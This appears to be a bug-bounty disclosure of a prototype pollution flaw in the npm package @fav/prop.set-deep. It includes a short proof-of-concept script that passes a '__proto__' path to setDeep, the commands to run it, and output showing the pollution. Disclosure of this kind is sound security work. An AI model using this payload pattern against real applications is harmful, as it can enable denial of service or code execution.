Prototype Pollution in sttk/fav-prop.set-deep
Valid
Reported on
Feb 7th 2021
Description
@fav/prop.set-deep
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
var setDeep = require("@fav/prop.set-deep")
var obj = {};
console.log("Before: " + {}.polluted);
setDeep(obj, ["__proto__", "polluted"], "Yes, its polluted")
console.log("After: ", {}.polluted);
- Execute the following commands in the terminal:
npm i @fav/prop.set-deep # install vulnerable package
node poc.js # run the PoC
- Check the output:
Before: undefined
After: Yes, its polluted
Impact
Prototype Pollution
leads to Information Disclosure/DoS/RCE.
to join this conversation